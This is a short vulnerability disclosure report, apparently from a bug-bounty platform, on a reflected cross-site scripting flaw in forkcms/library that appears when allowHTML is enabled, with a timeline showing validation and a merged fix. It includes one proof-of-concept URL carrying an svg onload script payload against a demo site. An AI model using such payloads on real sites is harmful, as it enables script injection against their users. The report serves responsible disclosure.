Cross-site Scripting (XSS) - Generic in forkcms/library

Valid

Reported on

Aug 29th 2021


✍️ Description

Please enter a description of the vulnerability. XSS is possible when the option allowHTML was set to true for text inputs and textfields

🕵️‍♂️ Proof of Concept

http://demo.fork-cms.com/en/search?form=search&q_widget=%22%3E%3Csvg/onload=alert(document.domain)%3E

💥 Impact

XSS attacks can be done trough forms where that option is set to true

We have contacted a member of the forkcms/library team and are waiting to hear back 3 months ago
Jelmer Prins validated this vulnerability 3 months ago
Jelmer Prins has been awarded the disclosure bounty
The fix bounty is now up for grabs
Jelmer Prins confirmed that a fix has been merged on f0b489 3 months ago
Jelmer Prins has been awarded the fix bounty